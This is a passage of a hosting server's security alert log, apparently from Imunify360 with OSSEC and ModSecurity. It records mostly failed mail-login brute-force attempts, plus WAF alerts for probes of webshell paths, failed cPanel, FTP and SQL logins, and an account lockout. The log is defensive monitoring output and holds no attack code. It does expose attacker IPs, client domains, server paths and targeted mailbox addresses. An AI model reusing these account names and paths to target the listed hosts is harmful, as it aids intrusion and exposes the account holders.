IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/lnlfireprotectio/public_html/wp-admin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 14:15:05 +0800] info [cpaneld] 185.204.54.153 - xami "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xami (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:15:06 dovecot_login authenticator failed for H=(Bh2dRjR) [178.16.54.22]:62781: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 14:15:54 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:57663: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:15:35 dovecot_login authenticator failed for H=(Xl8tzpKF) [158.94.208.175]:51616: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.65.192
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.169.148.186
country_id: 2963597
domain: mail.lnlfireprotection.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/lnlfireprotectio/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:16:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57672: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:16:37 dovecot_login authenticator failed for H=(0oS97NPOq) [158.94.208.175]:55485: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:16:46 dovecot_login authenticator failed for H=(UfyR04Vr) [178.16.54.22]:56117: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:17:08 dovecot_login authenticator failed for H=(6ZEXTU) [158.94.208.175]:58472: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:17:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61847: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 14:17:21 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:58252: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:17:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37130: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 14:17:43 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:47322: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 14:17:52 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:40544: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 14:17:50 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:37924: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:17:51 dovecot_login authenticator failed for H=(N5ok6hQqV) [178.16.54.22]:60531: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:18:14 dovecot_login authenticator failed for H=(z7E4CBebJ0) [158.94.208.175]:62237: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:18:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62014: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:18:23 dovecot_login authenticator failed for H=(2o395xljqx) [178.16.54.22]:51207: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 14:18:30 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:39528: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:18:37 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62014: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:19:32 dovecot_login authenticator failed for H=(2o3gWdHqMm) [178.16.54.22]:54098: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:19:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42824: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.187.2
country_id: 1269750
description:
2026-02-01 14:19:47 dovecot_login authenticator failed for H=(nsg-corporate-2.187.185.122.airtel.in) [122.185.187.2]:52554: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-02-01 14:19:58 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:42274: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:19:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49763: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:19:17 dovecot_login authenticator failed for H=(95kczQk3mr) [158.94.208.175]:49910: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:20:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53519: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:20:10 dovecot_login authenticator failed for H=(zGdQn5C) [158.94.208.175]:59284: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.113.155.132
country_id: 690791
description:
2026-02-01 14:21:20 dovecot_plain authenticator failed for H=(duellic) [176.113.155.132]:50427: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:21:37 226707 [Warning] Aborted connection 226707 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:21:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52846: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.195.72.130
country_id: 1694008
domain: stillman.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67542.stillman.my||ServerName:stillman.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f15a59c212bdc01b2e75f9861804d89aaa6f098||Title:0xad2bd96b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:21:14 dovecot_login authenticator failed for H=(5cKbJW9o1) [158.94.208.175]:64765: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:21:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61982: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:22:08 dovecot_login authenticator failed for H=(IPX0WFN2d) [178.16.54.22]:64283: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:22:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51085: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:22:23 dovecot_login authenticator failed for H=(2xP6CitYWE) [158.94.208.175]:62498: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:23:21 dovecot_login authenticator failed for H=(nHFNunev1) [178.16.54.22]:63273: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:23:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50535: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-02-01 14:23:48 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:57772: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:23:50 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50535: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 14:23:51 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:42262: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:24:01 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52658: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:23:20 dovecot_login authenticator failed for H=(grdSlei9O) [158.94.208.175]:57395: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.207.33.248
country_id: 6290252
description:
2026-02-01 14:24:12 dovecot_login authenticator failed for H=([109.207.33.248]) [109.207.33.248]:40872: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:24:20 dovecot_login authenticator failed for H=(I4fxistl) [158.94.208.175]:49391: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:24:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56881: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:24:51 dovecot_login authenticator failed for H=(CJtOLtD) [178.16.54.22]:61990: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 14:24:07 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:52382: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:25:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64533: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:25:18 dovecot_login authenticator failed for H=(DFMVQR) [158.94.208.175]:50792: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:25:28 dovecot_login authenticator failed for H=(vHjIxcD7s) [178.16.54.22]:61322: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:26:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54354: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:26:43 dovecot_login authenticator failed for H=(y4EPceA) [178.16.54.22]:57543: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:26:12 dovecot_login authenticator failed for H=(CZ0Uki1r) [146.70.146.50]:52666: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:26:38 dovecot_login authenticator failed for H=(TilacizXr) [178.16.52.139]:54466: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:26:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34852: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:26:12 dovecot_login authenticator failed for H=(4dQB6BHB) [158.94.208.175]:61132: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:27:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60949: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 163.61.67.100
country_id: 1269750
domain: stonewld.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:17194.stonewld.com.my||ServerName:stonewld.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c0095c6f38bfda3f1ae0df7f43df6a15fa8d3e50||Title:0x28b31f96||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:27:05 dovecot_login authenticator failed for H=(L44Ak3hPco) [178.16.52.139]:52009: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-02-01 14:27:31 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:54952: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:27:09 dovecot_login authenticator failed for H=(kl0as5i) [178.16.54.22]:52998: 535 Incorrect authentication data (set_id=enquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:27:15 dovecot_login authenticator failed for H=(GIvb7dS) [158.94.208.175]:53670: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:27:17 dovecot_login authenticator failed for H=(Mt0sniklo) [146.70.146.50]:61808: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 14:27:04 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:57678: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:28:04 dovecot_login authenticator failed for H=(u3Q2u4) [158.94.208.175]:59575: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:28:07 dovecot_login authenticator failed for H=(XK5mKUDP) [178.16.54.22]:60580: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:28:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34520: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:28:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55702: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 14:28:42 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 14:28:52 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:34268: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:28:54 226973 [Warning] Aborted connection 226973 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:28:04 dovecot_login authenticator failed for H=(lNJRmSj9J) [178.16.52.139]:54473: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 14:28:27 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:45368: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:29:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62077: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:29:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62077: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 14:29:17 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:47934: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 14:29:22 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:45776: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:29:12 dovecot_login authenticator failed for H=(Tnm2B7yz) [158.94.208.175]:51444: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:29:48 dovecot_login authenticator failed for H=(sVdyttLCu1) [146.70.146.50]:57856: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.239.19.241
country_id: 2017370
description:
2026-02-01 14:29:38 dovecot_plain authenticator failed for H=(nerated) [195.239.19.241]:47632: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-02-01 14:29:10 dovecot_login authenticator failed for H=([91.73.195.150]) [91.73.195.150]:54628: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:29:13 dovecot_login authenticator failed for H=(cuRVDGVv9) [178.16.54.22]:65488: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:29:18 dovecot_login authenticator failed for H=(3zkRpgfMI) [178.16.52.139]:62457: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:30:02 dovecot_login authenticator failed for H=(EzJljQC) [146.70.146.50]:59973: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:30:21 dovecot_login authenticator failed for H=(XTMn9erl) [178.16.54.22]:53352: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 115.134.144.235
country_id: 1733045
description:
[2026-02-01 14:30:59 +0800] info [webmaild] 115.134.144.235 - horizon@tst-ma.com "POST /cpsess4197968261/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [210.187.4.62] != Current IP Address [115.134.144.235]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:30:03 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51664: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 14:30:06 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:59318: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:30:18 dovecot_login authenticator failed for H=(yCYdLQFTPQ) [178.16.52.139]:50000: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:30:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41238: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:30:25 dovecot_login authenticator failed for H=(K7CoQAy) [158.94.208.175]:60909: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:31:11 dovecot_login authenticator failed for H=(rgsR4eIG2n) [178.16.52.139]:63381: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:31:03 dovecot_login authenticator failed for H=(ibWAfUrpdi) [178.16.54.22]:63844: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 14:31:06 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:44602: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:31:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63016: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 14:31:23 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:53660: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:31:19 dovecot_login authenticator failed for H=(TSwMQNbx) [158.94.208.175]:58680: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.36.97
country_id: 1880251
description:
Feb  1 14:31:31 sv3 pure-ftpd[897382]: (?@47.84.36.97) [WARNING] Authentication failed for user [admin]


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 47.84.36.97
country_id: 1880251
description:
2026-02-01 14:31:31 227059 [Warning] Aborted connection 227059 to db: 'unconnected' user: 'unauthenticated' host: '47.84.36.97' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 14:32:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account info@cordage.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 6011
